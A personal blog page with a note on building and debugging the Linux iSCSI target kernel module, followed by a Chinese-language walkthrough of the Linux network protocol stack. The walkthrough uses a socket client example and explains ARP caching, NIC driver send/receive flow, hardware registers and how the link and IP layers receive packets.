<li>cd /root/linux-3.10.0-123.el7 </li>
<li>make oldconfig &amp;&amp; make prepare </li>
<li>make scripts</li>
<li>make CONFIG_ISCSI_TARGET=m -C /root/linux-3.10.0-123.el7 M=drivers/target/iscsi</li>
</ul>
<p>##8. debug<br>Enable pr_debug macro function:  </p>
<ul>
<li>vim /root/linux-3.10.0-123.el7 M=drivers/target/iscsi/Makefile</li>
<li><p>Add code list below:(equal to add <code>#define DEBUG</code> to the file_name.c)  </p>
<pre><code>CFLAGS_iscsi_target_parameters.o := -DDEBUG
CFLAGS_iscsi_target_seq_pdu_list.o := -DDEBUG
CFLAGS_iscsi_target_tq.o := -DDEBUG
CFLAGS_iscsi_target_auth.o := -DDEBUG
CFLAGS_iscsi_target_datain_values.o := -DDEBUG
CFLAGS_iscsi_target_device.o := -DDEBUG
CFLAGS_iscsi_target_erl0.o := -DDEBUG
CFLAGS_iscsi_target_erl1.o := -DDEBUG
CFLAGS_iscsi_target_erl2.o := -DDEBUG
CFLAGS_iscsi_target_login.o := -DDEBUG
CFLAGS_iscsi_target_nego.o := -DDEBUG
CFLAGS_iscsi_target_nodeattrib.o := -DDEBUG
CFLAGS_iscsi_target_tmr.o := -DDEBUG
CFLAGS_iscsi_target_tpg.o := -DDEBUG
CFLAGS_iscsi_target_util.o := -DDEBUG
CFLAGS_iscsi_target.o := -DDEBUG
CFLAGS_iscsi_target_configfs.o := -DDEBUG
CFLAGS_iscsi_target_stat.o := -DDEBUG
CFLAGS_iscsi_target_transport.o := -DDEBUG
</code></pre></li>
<li><p>Go the this page for more <a href="https://www.kernel.org/doc/local/pr_debug.txt" target="_blank" rel="external">https://www.kernel.org/doc/local/pr_debug.txt</a></p>
</li>
<li>Also, you can using <code>printk(KERN_DEBUG &quot;LIO: get auth from line 140\n&quot;);</code> to your source code.</li>
</ul>
<p>##Reference:</p>
<ul>
<li><a href="https://www.kernel.org/" target="_blank" rel="external">Linux Kernel</a></li>
<li><a href="http://kernelnewbies.org/Linux_Kernel_Newbies" target="_blank" rel="external">Linux Kernel Newbies</a></li>
<li><a href="http://wangcong.org/down/kernel.ppt" target="_blank" rel="external">Hacking Linux Kernel</a></li>
<li><a href="http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html" target="_blank" rel="external">The Linux Kernel Module Programming Guide</a></li>
<li><a href="http://wangcong.org/articles/lkmpg_cn/index.htm" target="_blank" rel="external">The Linux Kernel Module Programming Guide-chinese</a></li>
<li><a href="http://www.kerneltravel.net/" target="_blank" rel="external">Linux Kernel Travel</a></li>
<li><a href="http://lwn.net/Kernel/" target="_blank" rel="external">Kernel coverage at LWN.net</a></li>
<li><a href="https://github.com/torvalds/linux" target="_blank" rel="external">Kernel source</a></li>
</ul>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/08/28/hacking-linux-kernel/" data-id="ciqqpe1lq006cnmpvh9znkjag" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/kernel/">kernel</a></li></ul>

    </footer>
  </div>
  
</article>


  
    <article id="post-linux-protocol-stack" class="article article-type-post" itemscope itemprop="blogPost">
  <div class="article-meta">
    <a href="/2013/08/06/linux-protocol-stack/" class="article-date">
  <time datetime="2013-08-05T16:00:00.000Z" itemprop="datePublished">2013-08-06</time>
</a>
    
  <div class="article-category">
    <a class="article-category-link" href="/categories/network/">network</a>
  </div>

  </div>
  <div class="article-inner">
    
    
      <header class="article-header">
        
  
    <h1 itemprop="name">
      <a class="article-title" href="/2013/08/06/linux-protocol-stack/">Linux protocol stack</a>
    </h1>
  

      </header>
    
    <div class="article-entry" itemprop="articleBody">
      
        <p>From <a href="http://www.cnblogs.com/image-eye/category/347518.html" target="_blank" rel="external">http://www.cnblogs.com/image-eye/category/347518.html</a></p>
<h3 id="网络协议栈0：从一个例子开始"><a href="#网络协议栈0：从一个例子开始" class="headerlink" title="网络协议栈0：从一个例子开始"></a>网络协议栈0：从一个例子开始</h3><p>最近因工作需要写一个网卡驱动，晕倒，没有任何网络知识，就写网络驱动！</p>
<p>可是，为了五斗米糊口，不得不从啊</p>
<p>于是，打算从网络协议栈开始，把网络搞一搞。</p>
<p>我们常常知道socket的用法（其实我还没有真正的写过socket代码，常常都是指那些socket高手了^-^），因此，打算从一个常用的实例开始，把网络协议栈整理一下，即把自己的学习经过进行记录，看看菜鸟的轨迹，是如何拐弯，颠簸。</p>
<p>通常的socket编程分两部分吧（错了别怪我，我不是高手），一是client部分，二是server部分，而更通常的情况是我们都以写client的任务为多，因此，从简单下手，当然选择client端开始了。</p>
<p>下面的代码，就是随便一个网站都能搜索到的client端的代码，我就毫不客气的复制了，谁叫我是菜鸟：</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;errno.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;unistd.h&gt;
#include &lt;netdb.h&gt;
#include &lt;time.h&gt;


#define SERVER_PORT 20000 // define the defualt connect port id
#define CLIENT_PORT ((20001+rand())%65536) // define the defualt client port as a random port

#define BUFFER_SIZE 255
#define REUQEST_MESSAGE &quot;welcome to connect the server./n&quot;

void usage(char *name)
{
    printf(&quot;usage: %s destinationIpAddr\n&quot;,name);
}

int main(int argc, char **argv)
{    
    int clifd,length = 0;
    struct sockaddr_in servaddr,cliaddr;
    socklen_t socklen = sizeof(servaddr);
    char *serv_ip=&quot;192.168.1.235&quot;;
    char buf[BUFFER_SIZE];

    /*       if (argc &lt; 2)
             {
             usage(argv[0]);
             exit(1);
             }
     */      
    if ((clifd = socket(AF_INET,SOCK_STREAM,0)) &lt; 0)
    {
        printf(&quot;create socket error!/n&quot;);
        exit(1);
    }
    srand(time(NULL));//initialize random generator
    bzero(&amp;cliaddr,sizeof(cliaddr));
    cliaddr.sin_family = AF_INET;
    cliaddr.sin_port = htons(CLIENT_PORT);
    cliaddr.sin_addr.s_addr = inet_addr(&quot;192.168.0.234&quot;);//htons(INADDR_ANY);

    bzero(&amp;servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    inet_aton(serv_ip/*argv[1]*/,&amp;servaddr.sin_addr);
    servaddr.sin_port = htons(SERVER_PORT);
    //servaddr.sin_addr.s_addr = htons(INADDR_ANY);

    if (bind(clifd,(struct sockaddr*)&amp;cliaddr,sizeof(cliaddr))&lt;0)
    {
        printf(&quot;bind to port %d failure!/n&quot;,CLIENT_PORT);
        exit(1);
    }

    if (connect(clifd,(struct sockaddr*)&amp;servaddr, socklen) &lt; 0)
    {
        printf(&quot;can&apos;t connect to %s!/n&quot;,/*argv[1]*/serv_ip);
        exit(1);
    }

    length = recv(clifd,buf,BUFFER_SIZE,0);
    if (length &lt; 0)
    {
        printf(&quot;error comes when recieve data from server %s!&quot;,/*argv[1]*/serv_ip);
        exit(1);
    }
    printf(&quot;from server %s :/n/t%s &quot;,/*argv[1]*/serv_ip,buf);
    int rc;
    rc=send(clifd,&quot;some messages&quot;,strlen(&quot;some messages&quot;),0);
    if(rc &lt; 0)
    {
        printf(&quot;error comes when recieve data from server %s!&quot;,/*argv[1]*/serv_ip);
        exit(1);
    }
    close(clifd);
    return 0;
}
</code></pre><p>标准的菜鸟格式，当然，我也是经过了编译，确认了代码的可执行(fedora6下)，并且跟服务器交互正常。</p>
<p>一样的三步曲，不一样的曲折。</p>
<p>socket编程，常规的就是</p>
<p>1.socket()</p>
<p>2.bind()</p>
<p>3.connect()</p>
<p>成功之后，就是随意的发送，接收数据了。</p>
<p>只是，上面这三步，干了什么活，就把两个互不相干的IP链接起来，这么牛？</p>
<h3 id="网络协议栈13：Connect函数分解之链路层"><a href="#网络协议栈13：Connect函数分解之链路层" class="headerlink" title="网络协议栈13：Connect函数分解之链路层"></a>网络协议栈13：Connect函数分解之链路层</h3><p>Skb_buff数据包从IP层下传到链路层后，链路层开始对数据包进行处理</p>
<p>首先，判断skb_buff数据包是不是不在skb_buff链表中，如果还在（即skb_buff-&gt;next!=NULL），则说明上面的处理有问题，代码要避开（人为的避开，代码还是有问题），即不能发送这个数据包，处理方式是，指定发送数据包的设备被指定为NULL，即数据包没有设备真实发送。</p>
<p>第二步，判断是否已知下一跳的MAC地址，即skb-&gt;arp=1，如果不是，则需要调用arp_find来查找IP地址对应的MAC地址，如果找不到，则直接返回，不再进行发送。</p>
<p>第三步，前面两步都正常了，则说明数据包正常，此时判断数据是否是刚刚下传的本地数据包，是则把数据包按照优先级的级别再次进行排队，这里分三种优先级，每个优先级都是一个队列，数据包按照相应的优先级被插入对应优先级的队列的尾部。</p>
<p>第四步，从最高优先级队列头部获得一个数据包，这个数据包有可能不是刚刚下传的数据包，如果下传的数据包大于发送的数据包，或者有重传的数据包，则此时获得的数据包就是先前的数据包。</p>
<p>第五步，把刚获得数据包进行发送（调用网卡驱动中的发送函数进行发送，到这里才是网卡驱动工作的开始），如果发送成功，就直接返回了，如果发送不成功，则把这个数据包插入到相应优先级的队列的头部，后面发送时它是相应对了中最先得到发送的数据包。</p>
<p> 由于网卡各式各样，没有办法进行抽象，因此，网卡的驱动被开发出来，只需要调用相应的上层函数，再把网卡的功能集合到网络协议栈中，行程完整的协议栈。</p>
<p>其中，第二步中，如果目的端IP对应的MAC地址还没有（或者下一跳），会使用arp_find来查找对应IP地址对应的MAC地址，其大致过程是：</p>
<p>ARP会在本地有一个ARP缓存，所谓的ARP缓存，在实现上采用数组加链表（或者称为队列）的方式，每个 ARP缓存表项由一个 arp_table 结构表示，所以数组中每个元素就指向一个 arp_table 结构类型的链表。对于具体数组元素的寻址由被解析的 IP 地址通过 Hash 算法而得。所以查询 ARP 缓存的过程就可表述为：首先根据被解析 IP地址索引数组中对应元素指向的 arp_table 结构链表，然后遍历该链表，对 IP地址进行匹配，如果查找一个 IP地址精确匹配的表项，则返回该表项，如果没有寻找到，则表示当前 ARP 缓存中没有对应表项，系统此时将创建一个新的 ARP表项，并发出 ARP请求报文，而当前发送的数据包就被缓存到该表项设置的数据包缓存队列中，当接收到 ARP 应答报文时，一方面完成原先表项的创建（硬件地址字段的初始化） ，另一方面将该表项中之前缓存的所有待发送数据包发送出去。结构图如下：</p>
<p>Arp_table结构体如下：</p>
<pre><code>struct arp_table
{
    struct arp_table     *next;            /*next 字段用于 arp_table结构之间的相互串接，构成一个链表。*/
    unsigned long        last_used;        /*last_used 字段表示该表项上次被使用的时间*/
    unsigned int         flags;            /*flags 字段用于维护 ARP 表项的一些标志位，如表项当前所处状态，可以为以后的 ARP 缓存表项的功能扩展做好准备。 */
    unsigned long        ip;               /*ip 字段表示表项所表示映射关系中的 IP地址*/
    unsigned long        mask;             /*mask 字段为对应 IP地址的网络掩码。*/
    unsigned char        ha[MAX_ADDR_LEN]; /*ha 字段表示映射关系中的硬件地址*/
    unsigned char        hlen;             /*hlen 为硬件地址长度*/
    unsigned short       htype;            /*htype 为硬件地址类型*/
    struct device        *dev;             /*dev 字段表示该 ARP 表项绑定的网络设备，对于只有一个网络接口的主机，所有数据包的发送当然只有一个发送通道，但对于具有两个或者更多网络接口的主机，数据包就有多种可能的选择，如果每次发送时都进行发送接口的查询会不必要的增加系统开销，由于数据帧创建中链路层首部的创建都需要进行硬件地址解析，即查询 ARP缓存，所以在 ARP表项中维护一个对应发送接口的指针， 就可以在进行数据帧创建时一并解决通过哪个网络接口发送数据包的问题。另外对于多个网络接口的主机，每个网口都接在不同的网络上，而远端主机只可能属于一个网络，所以我们在进行 ARP 表项创建时可以知道这个主机属于哪个网络，从而初始化接入该网络的网口设备指针。由此可见，ARP 缓存表项中 dev 字段值将来自于路由表项。而路由表项要么是手工配置，要么根据运行路由协议创建，而根据接收路由数据包的网络接口我们可以进行路由表项中网口设备字段的初始化。*/
    struct timer_list    timer;            /*timer 字段用于定时重发 ARP 请求数据包，以防止 ARP 请求未得到响应。*/
    int                  retries;          /*重发次数，当前设置的最大次数为 3，由 ARP_MAX_TRIES 变量表示*/
    struct sk_buff_head  skb;              /*最后一个字段 skb 表示暂时由于 IP 地址到硬件地址的解析未完成而被缓存的数据包队列该字段的具体使用在下文中介绍到相关函数时进行说明。*/   
};
</code></pre><p>而arp缓存数组定义如下：</p>
<pre><code>#define ARP_TABLE_SIZE  16
#define FULL_ARP_TABLE_SIZE (ARP_TABLE_SIZE+1)
struct arp_table *arp_tables[FULL_ARP_TABLE_SIZE] =
{
    NULL,
};
</code></pre><p>系统就是通过上述的结构体和数组来管理ARP缓存的</p>
<h3 id="网络协议栈14：Connect函数分解之网卡发送-接收数据流程"><a href="#网络协议栈14：Connect函数分解之网卡发送-接收数据流程" class="headerlink" title="网络协议栈14：Connect函数分解之网卡发送/接收数据流程"></a>网络协议栈14：Connect函数分解之网卡发送/接收数据流程</h3><p>链路层经过对数据包的优先级进行排队后，把本次需要发送的数据包从优先级最高的队列的头部抽取出来，并下传给网卡驱动程序的数据发送函数，一般命名为xxx_hard_xmit()，由于硬件各个不同，写法也会各个不同，无法抽象出一个标准的写法，但其流程、目的是不变的，是可以抽像出来的，大致的流程如下：<br>1．通过设备结构体net_device中的tbusy(transmit busy)来判断网卡现在是否忙，如果等于1，表示网卡在忙，即目前仍然有数据在传输数据，此时是不能传输数据的，而是判断是否超时，如果未超时，则表示网卡正在忙，正在发送数据包，此时直接返回；如果是超时了，则重新初始化相关寄存器，之后设置 tbusy=0，然后继续下面的步骤。<br>2．设置tbusy = 1,准备传输数据，因为经过这样的设置，下面如果有数据需要发送时，遇到tbusy = 1，就会像重复第一步的判断。<br>3．硬件开始传输数据包，此时，主要是通过对网卡的寄存器的操作来完成的，一般的，我们会提供需要传送的数据的地址，以及数据的长度，然后经过芯片的寄存器把这些数据发送出去。<br>4．发送数据是一个for循环进行，一直发送，直到数据发送完才结束。结束发送数据后，就要把刚刚传过来的数据包释放掉，把相关的内存回收，以备后面继续使用。<br>5．最后，修改设备的一些统计信息，完成本次传输。</p>
<p>到此，connect函数从数据包的层层打包，传输，到最后从网卡上发送出去的流程，就完成了本地的所有传输，此后的数据，经过以太网的转发，送往远端的目的IP地址，此时，connect函数就开始睡眠，等待确认数据从远方传递回来。</p>
<p>Connect函数在等待确认数据的到达，即需要解决的问题是，数据如何从网卡被上传到链路层。这个过程也因为网卡的硬件各个不同，而无法有标准写法，只有一个标准的流程。</p>
<p>1．当网卡接收到了一个完整的数据包后（硬件完成接收，而且是一个完整的数据包，即意味则网卡本身是有buffer的，是可以临时存储数据的），会发生一个中断信号给系统，这个中断信号是系统在启动时，由BIOS记录了跟一个中断处理程序关联到一起的，自然的，下面就是调用这个中断处理程序，来处理中断了。</p>
<p>2．通过设备结构体net_device中的interrupt成员来判断网卡现在是否忙,如果interrupt = 1，表示有其他进程在运行中断处理程序，则退出，否则，继续下面的步骤。</p>
<p>3．设置interrupt = 1，表示本进程在使用中断处理程序，其他的进程暂时不能使用。</p>
<p>4．读取中断状态寄存器，根据状态寄存器判断中断发生的原因。有两种原因，一种是有新的数据包到达，另一种是上次传输的数据已经传输完成。</p>
<p>5．如果有新的数据包到达，则调用接收数据包的子函数来接收数据。</p>
<p>6．如果是上次数据传输完成引起的，则通知协议的上层，修改接口的统计数据，关闭tbusy标志位，为下次传输做准备。</p>
<p>7．关闭标志位interrupt，表示本中断使用完成，现在其他进程可以使用中断处理函数了。</p>
<p>其中的第五步的调用子函数来接收数据的过程大致如下：</p>
<p>1．申请skb缓冲区给准备接收的数据包，用于存储数据包</p>
<p>2．从硬件中读取数据到skb缓冲区</p>
<p>3．调用netif_rx()函数，把数据送往链路层。</p>
<p>4．修改接口的统计数据。</p>
<h3 id="网络协议栈15：网卡接收-发送数据基础知识"><a href="#网络协议栈15：网卡接收-发送数据基础知识" class="headerlink" title="网络协议栈15：网卡接收/发送数据基础知识"></a>网络协议栈15：网卡接收/发送数据基础知识</h3><p>网卡本身是有内存的，每个网卡一般都有4K以上的内存，用来发送，接收数据。</p>
<p>数据在从主内存搬到网卡之后，不是立即就能被发送出去的，而是要先在网卡自身的内存中排队，再按照先后顺序发送；同样的，数据从以太网传递到网卡时，网卡也是先把数据存储到自身的内存中，等到收到一帧数据了，再经过中断的方式，告诉主CPU（不是网卡本身的微处理器）把网卡内存的数据读走，而读走后的内存，又被清空，再次被使用，用来接收新的数据，如此循环往复。<br>而网卡本身的内存，又多是按照256字节为1页的方式，把所有内存分页，之后把这些页组成队列，大致的结构如图：</p>
<p>一般会划分一小部分页面作为发送数据用的，大部分用于接收网络数据，大致如图：</p>
<p>蓝色部分为发送数据用的页面总和，总共只有6个页面用于发送数据（40h~45h）；剩余的46h~80h都是接收数据用的，而在接收数据内存中，只有红色部分是有数据的，当接收新的数据时，是向红色部分前面的绿色中的256字节写入数据，同时“把当前指针”移动到+256字节的后面（网卡自动完成），而现在要读的数据，是在“边界指针”那里开始的256字节（紫色部分），下一个要读的数据，是在“下一包指针”的位置开始的256字节，当256字节被读出来了，就变成了重新可以使用的内存，即绿色所表示，而接收数据，就是把可用的内存拿来用，即变成了红色，当数据写到了0x80h后，又从0x46h开始写数据，这样循环，如果数据满了，则网卡就不能再接收数据，必须等待数据被读出去了，才能再继续接收。</p>
<p>下面是一些网卡常用的寄存器：</p>
<p>CR(command register)—命令寄存器</p>
<p>TSR(transmit state register)—发送状态寄存器</p>
<p>ISR(interrupt state register)—-中断状态寄存器</p>
<p>RSR(receive state register)—接收状态寄存器</p>
<p>RCR(receive configure register)—接收配置寄存器</p>
<p>TCR(transmit configure register)—发送配置寄存器</p>
<p>DCR(data configure register)—数据配置寄存器</p>
<p>IMR(interrupt mask register)—中断屏蔽寄存器</p>
<p>NCR(non-coding region)—包发送期间碰撞次数</p>
<p>FIFO(first in first out)</p>
<p>CNTR0(counter register)— 帧同步错总计数器</p>
<p>CNTR1—CRC错总计数器</p>
<p>CNTR2—丢包总计数器</p>
<p>PAR0~5(physical address register)—本地MAC地址</p>
<p>MAR0~7(multiple address register)—多播地址匹配</p>
<p>PSTOP(page stop register)—结束页面寄存器</p>
<p>PSTART(page start register)—开始页面寄存器</p>
<p>BNRY(boundary register)—-边界页寄存器</p>
<p>CURR(current page register)—当前页面寄存器</p>
<p>CLDA0,1(Current Local DMA Address)—当前本地DMA寄存器</p>
<p>TPSR(Transmit page start register)—传送页面开始寄存器</p>
<p>TBCR0,1(transmit byte counter register)—传送字节计数寄存器</p>
<p>CRDA0,1(current remote DMA address)—当前远程DMA寄存器</p>
<p>RSAR0,1(remote start address register)—远程DMA起始地址寄存器</p>
<p>RBCR0,1(remote byte counter register)—远程字节计数寄存器</p>
<p>BPAGE(BROM page register)—BROM页面寄存器</p>
<h3 id="网络协议栈16：connect函数分解之链路层接收数据"><a href="#网络协议栈16：connect函数分解之链路层接收数据" class="headerlink" title="网络协议栈16：connect函数分解之链路层接收数据"></a>网络协议栈16：connect函数分解之链路层接收数据</h3><p>Connect函数在发送了数据之后，就进入了休眠等待的状态，等待远方发过来的数据来确认链接是否成功。那么数据是如何从网卡那里传递到链路层？</p>
<p>数据在网卡的内存中，形成了以256字节为1页的环形缓冲链，每当有数据到达，网卡就会发生一个中断信号，告诉CPU已经有数据到达，此时，CPU通过DMA的方式，去读取网卡内存中的数据，并把数据存放在一个专门开辟来接收这个数据包的skb_buff中，之后，就把接收数据的skb_buff进行排列，并且累加所有skb_buff的个数，如果超过一定的数量在排队等待被取走，则后面不能再继续从网卡中读取数据包，以防止系统内存被过度的消耗掉。因此，在数据链路层，skb_buff是被排成一个队列，达到FIFO的目的。</p>
<p>一般接收数据都是在中断中完成，而中断时需要快速的进行处理，以免消耗系统过多的资源，因此，把数据进行队列排队后，就要离开中断处理函数了，此时，需要启动中断程序的后半部来进行剩余的数据的处理。 net_bh()函数是接收中断处理函数的后半部处理函数，其主要的工作是</p>
<p>1．把还在链路层中排队，还没有发送出去的数据包发送送出去（可见发送数据包是很重要的）。</p>
<p>2．把在接收队列中排队的数据包的上层协议类型都找出来，准备把数据发送往对应的协议层（遍历协议类型链表，即struct packet_type所组成的链表，来找到需要发送的数据包所对应的上层协议）。</p>
<p>3．调用相应的上层协议的接收函数来接收数据包。</p>
<p>上层协议的接收函数，是在操作系统初始化的时候，就已经初始化好了，其实就是注册</p>
<pre><code>struct packet_type {
  unsigned short type;       /* This is really htons(ether_type). */
  struct device *dev;
  int (*func) (struct sk_buff *, struct device *, struct packet_type *);
  void *data;
  struct packet_type  *next;
};
</code></pre><p>这样的结构体（比如static struct packet_type ip_packet_type，static struct packet_type arp_packet_type），其中的func指针所指向的，就是type所确定的协议类型的接收函数，type可取类型如下</p>
<pre><code>#define ETH_P_LOOP  0x0060           /* Ethernet Loopback packet     */
#define ETH_P_ECHO  0x0200           /* Ethernet Echo packet         */
#define ETH_P_PUP   0x0400           /* Xerox PUP packet             */
#define ETH_P_IP    0x0800           /* Internet Protocol packet     */
#define ETH_P_ARP   0x0806           /* Address Resolution packet    */
#define ETH_P_RARP  0x8035           /* Reverse Addr Res packet      */
#define ETH_P_X25   0x0805           /* CCITT X.25                   */
#define ETH_P_ATALK 0x809B           /* Appletalk DDP                */
#define ETH_P_IPX   0x8137           /* IPX over DIX                 */
#define ETH_P_802_3 0x0001           /* Dummy type for 802.3 frames  */
#define ETH_P_AX25  0x0002           /* Dummy protocol id for AX.25  */
#define ETH_P_ALL   0x0003           /* Every packet (be careful!!!) */
#define ETH_P_802_2 0x0004           /* 802.2 frames                 */
#define ETH_P_SNAP  0x0005           /* Internal only                */
</code></pre><h3 id="网络协议栈17：connect函数分解之网络层接收数据处理"><a href="#网络协议栈17：connect函数分解之网络层接收数据处理" class="headerlink" title="网络协议栈17：connect函数分解之网络层接收数据处理"></a>网络协议栈17：connect函数分解之网络层接收数据处理</h3><p>链路层经过对上层协议的检查，把数据包上传到了对应的上层协议层，在这里，就是IP层协议。</p>
<p>数据到达IP层后，IP层需要进行相应的检查，判断后，才决定是否需要把数据上传到上层。下面就是IP层所需要做的事情.</p>
<p>1．首先检测数据包的IP首部是否正确，即对数据包的IP部分的IP首部长度，版本，数据包的大小进行检查，如果符合要求，则继续进行下面的步骤，不符合要求，则释放数据包，直接退出</p>
<p>2．检测IP首部是否包含了选项部分，方法就是查看IP首部的总长度字段是否大于IP首部的长度，如果是，则需要把选项部分解析，这个选项部分会在上传到上层协议时就告知是否有选项的。</p>
<p>3．检测数据包是否是一个分片数据，如果是一个分片数据，则需要分配一个空间，把这个数据包预存起来，同时等待所有数据包的到达后，把所有分片数据重组，才返回这个完整的数据包。如果不是，则直接返回，相当于等待所有分片数据并完成重组。</p>
<p>4．检测是否是多播的数据包，如果是多播的数据包，则再检测这个数据包是否在多播组中，如果是，就接收这个数据包，如果不是，则放弃接收。如何检测本地IP是否是多播组中的一员，主要是遍历当前设备的多播组链表，如当前设备所维护的多播组链表中是有本次传输的目的IP，则表示本IP是多播组的一员，可以接收数据。</p>
<p>5．检测本次数据包对应的上层协议，主要是遍历struct inet_protocol这个链表而得知，因为struct inet_protocol这个链表在系统初始化时，把igmp_protocol / icmp_protocol / udp_protocol / tcp_protocol 等等这些上层协议都链接好，现在只需要遍历，即可找到对以的上层协议，即可调用对应上层协议的接收函数来接收数据，对以connect函数，IP上面的协议就是TCP协议，其所对以的struct inet_protocol结构体：</p>
<pre><code>static struct inet_protocol tcp_protocol = {
    tcp_rcv,     /* TCP handler        */
    NULL,        /* No fragment handler (and won&apos;t be for a long time) */
    tcp_err,     /* TCP error control  */
    NULL,        /* next               */
    IPPROTO_TCP, /* protocol ID        */
    0,           /* copy               */
    NULL,        /* data               */
    &quot;TCP&quot;        /* name               */
};
</code></pre><p>而接收函数就是tcp_rcv(),系统就是调用这个函数来接收IP上传的数据</p>

      
    </div>
    <footer class="article-footer">
      <a data-url="http://yoursite.com/2013/08/06/linux-protocol-stack/" data-id="ciqqpe1ll0068nmpvug0a5iw5" class="article-share-link">Partager</a>
      
      
  <ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/kernel/">kernel</a></li><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/network/">network</a></li></ul>

    </footer>
  </div>
  
</article>


  


  <nav id="page-nav">
    <a class="extend prev" rel="prev" href="/page/10/">&laquo; __('prev')</a><a class="page-number" href="/">1</a><span class="space">&hellip;</span><a class="page-number" href="/page/9/">9</a><a class="page-number" href="/page/10/">10</a><span class="page-number current">11</span><a class="page-number" href="/page/12/">12</a><a class="page-number" href="/page/13/">13</a><span class="space">&hellip;</span><a class="page-number" href="/page/18/">18</a><a class="extend next" rel="next" href="/page/12/">__('next') &raquo;</a>
  </nav>
</section>
        
          <aside id="sidebar">
  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Catégories</h3>
    <div class="widget">
      <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/blog/">blog</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/database/">database</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/english/">english</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/kernel/">kernel</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/language/">language</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/linux/">linux</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/math/">math</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/network/">network</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/others/">others</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/person/">person</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/program/">program</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/source/">source</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/storage/">storage</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/tools/">tools</a></li><li class="category-list-item"><a class="category-list-link" href="/categories/windows/">windows</a></li></ul>
    </div>
  </div>


  
    
  <div class="widget-wrap">
    <h3 class="widget-title">Mot-clés</h3>
    <div class="widget">
      <ul class="tag-list"><li class="tag-list-item"><a class="tag-list-link" href="/tags/FAQ/">FAQ</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/IRC/">IRC</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/Translation/">Translation</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/android/">android</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/api/">api</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/assembly/">assembly</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/awk/">awk</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/batch/">batch</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/blog/">blog</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/book/">book</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/c/">c</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/c/">c++</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/cache/">cache</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/crash/">crash</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/database/">database</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/debug/">debug</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/dot/">dot</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/driver/">driver</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/emacs/">emacs</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/exploit/">exploit</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/file-system/">file system</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/filesystem/">filesystem</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/flowchart/">flowchart</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/gcc/">gcc</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/git/">git</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/google/">google</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/graphviz/">graphviz</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/hexo/">hexo</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/hosts/">hosts</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/iscsi/">iscsi</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/java/">java</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/javascript/">javascript</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/job/">job</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/json/">json</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/kernel/">kernel</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/linux/">linux</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/lisp/">lisp</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/lua/">lua</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/makefile/">makefile</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/malloc/">malloc</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/math/">math</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/maxima/">maxima</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/memory/">memory</a></li><li class="tag-list-item"><a class="tag-list-link" href="/tags/memory-overflow/">memory overflow</a></li><li class="tag-list-item"><a class="tag-list-link" 